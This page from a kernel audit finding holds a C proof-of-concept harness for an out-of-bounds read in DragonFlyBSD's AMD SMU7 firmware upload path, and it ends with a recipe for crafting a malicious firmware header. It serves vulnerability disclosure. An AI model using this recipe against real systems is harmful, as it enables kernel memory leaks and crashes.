⬢ DragonFlyBSD Kernel Audit
DF-4774 / smu7_fw_upload_oob.c
← back to finding ↓ download raw
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
/*
 * DF-4774 — verbatim-function harness (no AMD GPU on the audit guest;
 * methodology identical to DF-4665 / DF-3683 / DF-2096).
 *
 * Proves: sys/dev/drm/amd/powerplay/smumgr/smu7_smumgr.c
 *   smu7_upload_smu_firmware_image()  (:481-500)
 *     -> smu7_upload_smc_firmware_data() (:461-478)
 * reads `ucode_size_bytes` dwords starting at
 *   fw->data + ucode_array_offset_bytes
 * where both fields come straight from the SMC firmware file header
 * (amdgpu_cgs.c:461-472) and the ONLY validation anywhere on the path is
 * amdgpu_ucode_validate()'s `fw->datasize == hdr->size_bytes`
 * (amdgpu_ucode.c:251-259) plus the SMC-SRAM length gate
 * `limit >= byte_count` (smu7_smumgr.c:465, limit = SMU7_SMC_SIZE = 0x20000).
 * Neither the base offset nor the length is ever checked against the actual
 * firmware blob allocation -> kernel heap OOB read (up to 128 KB from up to
 * ~4 GB past the blob), contents streamed dword-by-dword into SMC SRAM via
 * MMIO.  Reached at powerplay start_smu for Tonga/Fiji/Polaris/Topaz/VegaM
 * (polaris10_smumgr.c:209, tonga_smumgr.c:104, fiji, vegam, iceland).
 *
 * All function bodies below marked [VERBATIM] are copied 1:1 from the
 * cited lines; MMIO and firmware plumbing is mocked 1:1.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <signal.h>
#include <stdbool.h>
#include <errno.h>

typedef uint8_t  u8;
typedef uint16_t u16;
typedef uint32_t u32;
typedef uint64_t u64;

/* ---- 1:1 struct layouts -------------------------------------------------- */

/* sys/dev/drm/amd/amdgpu/amdgpu_ucode.h:26-37 */
struct common_firmware_header {
	u32 size_bytes;
	u32 header_size_bytes;
	u16 header_version_major;
	u16 header_version_minor;
	u16 ip_version_major;
	u16 ip_version_minor;
	u32 ucode_version;
	u32 ucode_size_bytes;
	u32 ucode_array_offset_bytes;
	u32 crc32;
};

/* amdgpu_ucode.h:47-50 */
struct smc_firmware_header_v1_0 {
	struct common_firmware_header header;
	u32 ucode_start_addr;
};

/* sys/sys/firmware.h (data/datasize semantics of request_firmware) */
struct firmware {
	const u8 *data;
	size_t datasize;
};

/* sys/dev/drm/amd/include/cgs_common.h:68-80 */
struct cgs_firmware_info {
	u16 version;
	u16 fw_version;
	u16 feature_version;
	u32 image_size;
	u64 mc_addr;
	u32 ucode_start_address;
	void *kptr;
	u8 is_kicker;
};

/* smu_ucode_xfer_vi.h:71-93 (not exercised, layout only) */
struct SMU_Entry { u16 id, version; u32 image_addr_high, image_addr_low; u32 meta_data_addr_high, meta_data_addr_low; u32 data_size_byte; u16 flags, num_register_entries; };

/* smu7_smumgr.h:32-53 */
struct smu7_buffer_entry {
	u32 data_size;
	u64 mc_addr;
	void *kaddr;
	void *handle;
};
struct smu7_smumgr {
	struct smu7_buffer_entry smu_buffer;
	struct smu7_buffer_entry header_buffer;
	struct SMU_DRAMData_TOC_dummy *toc;
	u32 soft_regs_start, dpm_table_start, mc_reg_table_start, fan_table_start;
	u32 arb_table_start, ulv_setting_starts;
	u8  security_hard_key;
	u32 acpi_optimization, avfs_btc_param;
};
struct SMU_DRAMData_TOC_dummy { u32 a, b; char e[1]; };

struct amdgpu_device { struct firmware pm_fw; };

struct pp_hwmgr {
	void *device;			/* cgs device */
	struct amdgpu_device *adev;
	void *smu_backend;
	u32 chip_id;
	bool not_vf;
	bool is_kicker;
	u32 smu_version;
};

/* ---- constants (smu7_smumgr.c:36, ucode ids) ------------------------------ */
#define SMU7_SMC_SIZE 0x20000
#define UCODE_ID_SMU     0
#define UCODE_ID_SMU_SK 14
enum cgs_ucode_id { CGS_UCODE_ID_SMU, CGS_UCODE_ID_SMU_SK, CGS_UCODE_ID_MAXIMUM };

/* mock MMIO register ids */
#define mmSMC_IND_INDEX_11 0xB0
#define mmSMC_IND_DATA_11  0xB4
#define mmSMC_IND_ACCESS_CNTL 0xB8

/* ---- mock device: capture the MMIO stream exactly as the SMC sees it ------ */
#define SMC_SRAM_SIZE 0x40000
#define SINK_MAX 4096
struct mock_smc {
	u32 sram[SMC_SRAM_SIZE / 4];
	u32 index;
	u32 autoincr;
	u64 data_writes;		/* dwords streamed to DATA_11 */
	u64 oob_window_writes;		/* writes with index >= SMC_SRAM_SIZE */
	u32 sink[SINK_MAX];		/* first dwords captured for inspection */
	u32 sink_n;
};
static struct mock_smc smc;

static void cgs_write_register(void *dev, u32 reg, u32 val)
{
	(void)dev;
	if (reg == mmSMC_IND_INDEX_11) {
		smc.index = val;
	} else if (reg == mmSMC_IND_DATA_11) {
		if (smc.index >= SMC_SRAM_SIZE)
			smc.oob_window_writes++;
		else
			smc.sram[smc.index / 4] = val;
		if (smc.autoincr)
			smc.index += 4;
		if (smc.sink_n < SINK_MAX)
			smc.sink[smc.sink_n++] = val;
		smc.data_writes++;
	} else if (reg == mmSMC_IND_ACCESS_CNTL) {
		smc.autoincr = (val & 1);	/* AUTO_INCREMENT_IND_11 bit */
	}
}

/* pp_debug.h:37-43 [VERBATIM semantics] */
#define pr_warn printf
#define PP_ASSERT_WITH_CODE(cond, msg, code)	\
	do {					\
		if (!(cond)) {			\
			pr_warn("%s\n", msg);	\
			code;			\
		}				\
	} while (0)

/* PHM_WRITE_FIELD(device, SMC_IND_ACCESS_CNTL, AUTO_INCREMENT_IND_11, x):
 * plain field write in the harness (flag captured above) */
static void smc_access_cntl(int on)
{
	cgs_write_register(NULL, mmSMC_IND_ACCESS_CNTL, on ? 1 : 0);
}

/* ---- endian / errno shims (x86 LE host) ----------------------------------- */
#define le32_to_cpu_(x) (x)
#define EINVAL_ 22

/* ---- amdgpu_ucode.c:251-259 [VERBATIM] ------------------------------------ */
static int amdgpu_ucode_validate(const struct firmware *fw)
{
	const struct common_firmware_header *hdr =
		(const struct common_firmware_header *)fw->data;

	if (fw->datasize == le32_to_cpu_(hdr->size_bytes))
		return 0;

	return -EINVAL_;
}

/* ---- amdgpu_cgs.c:437-472, SMU branch [VERBATIM math] --------------------- */
static int cgs_get_firmware_info_smu(struct amdgpu_device *adev,
				     struct cgs_firmware_info *info)
{
	int err;
	u32 ucode_size;
	u32 ucode_start_address;
	const u8 *src;
	const struct smc_firmware_header_v1_0 *hdr;

	/* request_firmware() mocked: adev->pm_fw holds the loaded file */

	err = amdgpu_ucode_validate(&adev->pm_fw);
	if (err) {
		printf("[cgs] amdgpu_ucode_validate rejected the blob (err=%d)\n", err);
		return err;
	}

	hdr = (const struct smc_firmware_header_v1_0 *)adev->pm_fw.data;
	ucode_size = hdr->header.ucode_size_bytes;
	ucode_start_address = hdr->ucode_start_addr;
	src = (const uint8_t *)(adev->pm_fw.data +
	       hdr->header.ucode_array_offset_bytes);

	info->version = 0x1234;
	info->image_size = ucode_size;
	info->ucode_start_address = ucode_start_address;
	info->kptr = (void *)src;
	info->is_kicker = 0;
	return 0;
}

static enum cgs_ucode_id smu7_convert_fw_type_to_cgs_(u32 fw_type)
{
	return fw_type == UCODE_ID_SMU ? CGS_UCODE_ID_SMU : CGS_UCODE_ID_SMU_SK;
}

/* ---- smu7_smumgr.c:461-478 [VERBATIM] ------------------------------------- */
static int smu7_upload_smc_firmware_data(struct pp_hwmgr *hwmgr, u32 length, u32 *src, u32 limit)
{
	u32 byte_count = length;

	PP_ASSERT_WITH_CODE((limit >= byte_count), "SMC address is beyond the SMC RAM area.", return -22);

	cgs_write_register(hwmgr->device, mmSMC_IND_INDEX_11, 0x20000);
	smc_access_cntl(1);

	for (; byte_count >= 4; byte_count -= 4)
		cgs_write_register(hwmgr->device, mmSMC_IND_DATA_11, *src++);

	smc_access_cntl(0);

	PP_ASSERT_WITH_CODE((0 == byte_count), "SMC size must be divisible by 4.", return -22);

	return 0;
}

/* ---- smu7_smumgr.c:481-500 [VERBATIM] ------------------------------------- */
static int smu7_upload_smu_firmware_image(struct pp_hwmgr *hwmgr)
{
	int result = 0;
	struct smu7_smumgr *smu_data = (struct smu7_smumgr *)(hwmgr->smu_backend);
	struct cgs_firmware_info info = {0};

	if (smu_data->security_hard_key == 1)
		cgs_get_firmware_info_smu(hwmgr->adev, &info);
	else
		cgs_get_firmware_info_smu(hwmgr->adev, &info);	/* SMU_SK twin */

	hwmgr->is_kicker = info.is_kicker;
	hwmgr->smu_version = info.version;
	result = smu7_upload_smc_firmware_data(hwmgr, info.image_size, (u32 *)info.kptr, SMU7_SMC_SIZE);

	return result;
}

/* ---- fixture: firmware blob + guard pages + canary region ----------------- */
#define PAGE 4096
#define CANARY_PAGES 8

static u8 *blob_base;		/* allocation start == fw->data */
static size_t blob_size;	/* file size (fw->datasize) */
static u8 *canary_start;
static size_t canary_bytes;

static void fixture_create(size_t fwsize)
{
	size_t tot = ((fwsize + PAGE - 1) / PAGE) * PAGE + CANARY_PAGES * PAGE + PAGE;
	u8 *m = mmap(NULL, tot, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0);
	if (m == MAP_FAILED) { perror("mmap"); exit(1); }
	blob_base = m;
	blob_size = fwsize;
	canary_start = m + ((fwsize + PAGE - 1) / PAGE) * PAGE;
	canary_bytes = CANARY_PAGES * PAGE;
	/* canary dwords: 0xCCnnnnnn, unique per dword */
	u32 *c = (u32 *)canary_start;
	for (size_t i = 0; i < canary_bytes / 4; i++)
		c[i] = 0xCC000000u | (u32)(i & 0xFFFFFF);
	mprotect(canary_start, canary_bytes, PROT_READ);
	/* final guard page: fault on any read past the canary region */
	mprotect(m + tot - PAGE, PAGE, PROT_NONE);
}

static void fixture_header(u32 off, u32 size)
{
	struct smc_firmware_header_v1_0 *hdr = (struct smc_firmware_header_v1_0 *)blob_base;
	memset(hdr, 0, sizeof(*hdr));
	hdr->header.size_bytes = blob_size;		/* passes amdgpu_ucode_validate */
	hdr->header.header_size_bytes = sizeof(*hdr);
	hdr->header.ucode_version = 0xdeadbee0;
	hdr->header.ucode_size_bytes = size;
	hdr->header.ucode_array_offset_bytes = off;
	hdr->ucode_start_addr = 0;
}

static int canary_hits_in_sink(void)
{
	int hits = 0;
	for (u32 i = 0; i < smc.sink_n; i++)
		if ((smc.sink[i] >> 24) == 0xCC)
			hits++;
	return hits;
}

static struct pp_hwmgr hwmgr;
static struct smu7_smumgr backend;
static struct amdgpu_device adev;

static void setup(size_t fwsize, u32 off, u32 size)
{
	memset(&smc, 0, sizeof(smc));
	fixture_create(fwsize);
	fixture_header(off, size);
	memset(&backend, 0, sizeof(backend));
	backend.security_hard_key = 1;
	memset(&adev, 0, sizeof(adev));
	adev.pm_fw.data = blob_base;
	adev.pm_fw.datasize = blob_size;
	memset(&hwmgr, 0, sizeof(hwmgr));
	hwmgr.device = (void *)0x1;
	hwmgr.adev = &adev;
	hwmgr.smu_backend = &backend;
	hwmgr.chip_id = 0x50;	/* > CHIP_TOPAZ */
	hwmgr.not_vf = 1;
}

/* run one scenario in-process (expected not to fault).
 * child exit codes: 11 = OOB-READ CONFIRMED (upload ok + canary bytes in sink),
 *                   12 = anomaly (upload failed or no leak) */
static int run_scenario(size_t fwsize, u32 off, u32 size)
{
	pid_t pid = fork();
	if (pid == 0) {
		setup(fwsize, off, size);
		int r = smu7_upload_smu_firmware_image(&hwmgr);
		printf("  upload result            : %d (%s)\n", r,
		       r == 0 ? "0 == success, firmware 'uploaded'" : "rejected");
		printf("  dwords streamed to SMC   : %llu\n",
		       (unsigned long long)smc.data_writes);
		printf("  canary bytes in SMC sink : %d\n", canary_hits_in_sink());
		printf("  sink sample (first 8 dwords):");
		for (int q = 0; q < 8 && q < (int)smc.sink_n; q++)
			printf(" %08x", smc.sink[q]);
		printf("\n");
		fflush(stdout);
		if (r == 0 && canary_hits_in_sink() > 0)
			_exit(11);
		if (r == 0 && canary_hits_in_sink() == 0)
			_exit(12);
		_exit(12);
	}
	int st; waitpid(pid, &st, 0);
	return st;
}

/* run one scenario expected to SIGSEGV on the wild read */
static int run_crash_scenario(size_t fwsize, u32 off, u32 size)
{
	pid_t pid = fork();
	if (pid == 0) {
		setup(fwsize, off, size);
		smu7_upload_smu_firmware_image(&hwmgr);
		_exit(0);	/* not reached if it faults */
	}
	int st; waitpid(pid, &st, 0);
	return st;
}

int main(void)
{
	int fail = 0;
	setvbuf(stdout, NULL, _IONBF, 0);

	printf("== DF-4774 verbatim harness: smu7_smumgr.c:461-500 / amdgpu_cgs.c:437-472 ==\n\n");

	printf("[1] legit header (off=0x400, size=0x800, blob=0x1000): baseline sanity\n");
	{
		pid_t pid = fork();
		if (pid == 0) {
			setup(0x1000, 0x400, 0x800);
			int r = smu7_upload_smu_firmware_image(&hwmgr);
			printf("  upload result          : %d\n", r);
			printf("  dwords streamed        : %llu\n", (unsigned long long)smc.data_writes);
			printf("  OOB-window SMC writes  : %llu\n", (unsigned long long)smc.oob_window_writes);
			printf("  canary hits in sink    : %d (expect 0)\n", canary_hits_in_sink());
			fflush(stdout);
			_exit(0);
		}
		int st; waitpid(pid, &st, 0);
		printf("  child exit             : %d\n\n", WEXITSTATUS(st));
	}

	printf("[2] adjacent-leak: off = end of blob (into canary page), size=0x1000\n");
	{
		int st = run_scenario(0x1000, 0x1000, 0x1000);
		if (WIFSIGNALED(st)) { printf("  unexpected signal %d\n\n", WTERMSIG(st)); fail++; }
		else if (WEXITSTATUS(st) == 11) { printf("  ADJACENT-OOB-READ CONFIRMED (canary bytes reached SMC SRAM sink)\n\n"); }
		else { printf("  ?? anomaly (exit %d): no canary leak\n\n", WEXITSTATUS(st)); fail++; }
	}

	printf("[3] far-wild base: off = 0x40000000 (1 GB past blob), size = 0x20000 (max the limit gate allows)\n");
	{
		int st = run_crash_scenario(0x1000, 0x40000000, 0x20000);
		if (WIFSIGNALED(st) && WTERMSIG(st) == SIGSEGV)
			printf("  child killed by SIGSEGV -> kernel panic equivalent (wild kernel read)\n\n");
		else { printf("  no fault (exit %d) -- expected SIGSEGV\n\n", WEXITSTATUS(st)); fail++; }
	}

	printf("[4] u32 near-wrap base: off = 0xFFFFF000, size = 0x1000\n");
	{
		int st = run_crash_scenario(0x1000, 0xFFFFF000, 0x1000);
		if (WIFSIGNALED(st) && WTERMSIG(st) == SIGSEGV)
			printf("  child killed by SIGSEGV -> wild read ~4 GB past the firmware blob\n\n");
		else { printf("  no fault (exit %d)\n\n", WEXITSTATUS(st)); fail++; }
	}

	printf("[5] the ONLY gate: size just above SMU7_SMC_SIZE is rejected, size below is not\n");
	{
		pid_t pid = fork();
		if (pid == 0) {
			setup(0x1000, 0x40000000, 0x20004);	/* > limit, wild base */
			int r = smu7_upload_smu_firmware_image(&hwmgr);
			printf("  upload result for size>0x20000 with wild base: %d (rejected by length gate only)\n", r);
			fflush(stdout);
			_exit(0);
		}
		int st; waitpid(pid, &st, 0);
		printf("  child exit             : %d\n\n", WEXITSTATUS(st));
	}

	printf("== summary ==\n");
	printf("craft SMC fw file (root-placed) with size_bytes==filesize, ucode_array_offset_bytes\n");
	printf("pointing past the allocation, ucode_size_bytes<=0x20000 -> kernel reads OOB.\n");
	return fail;
}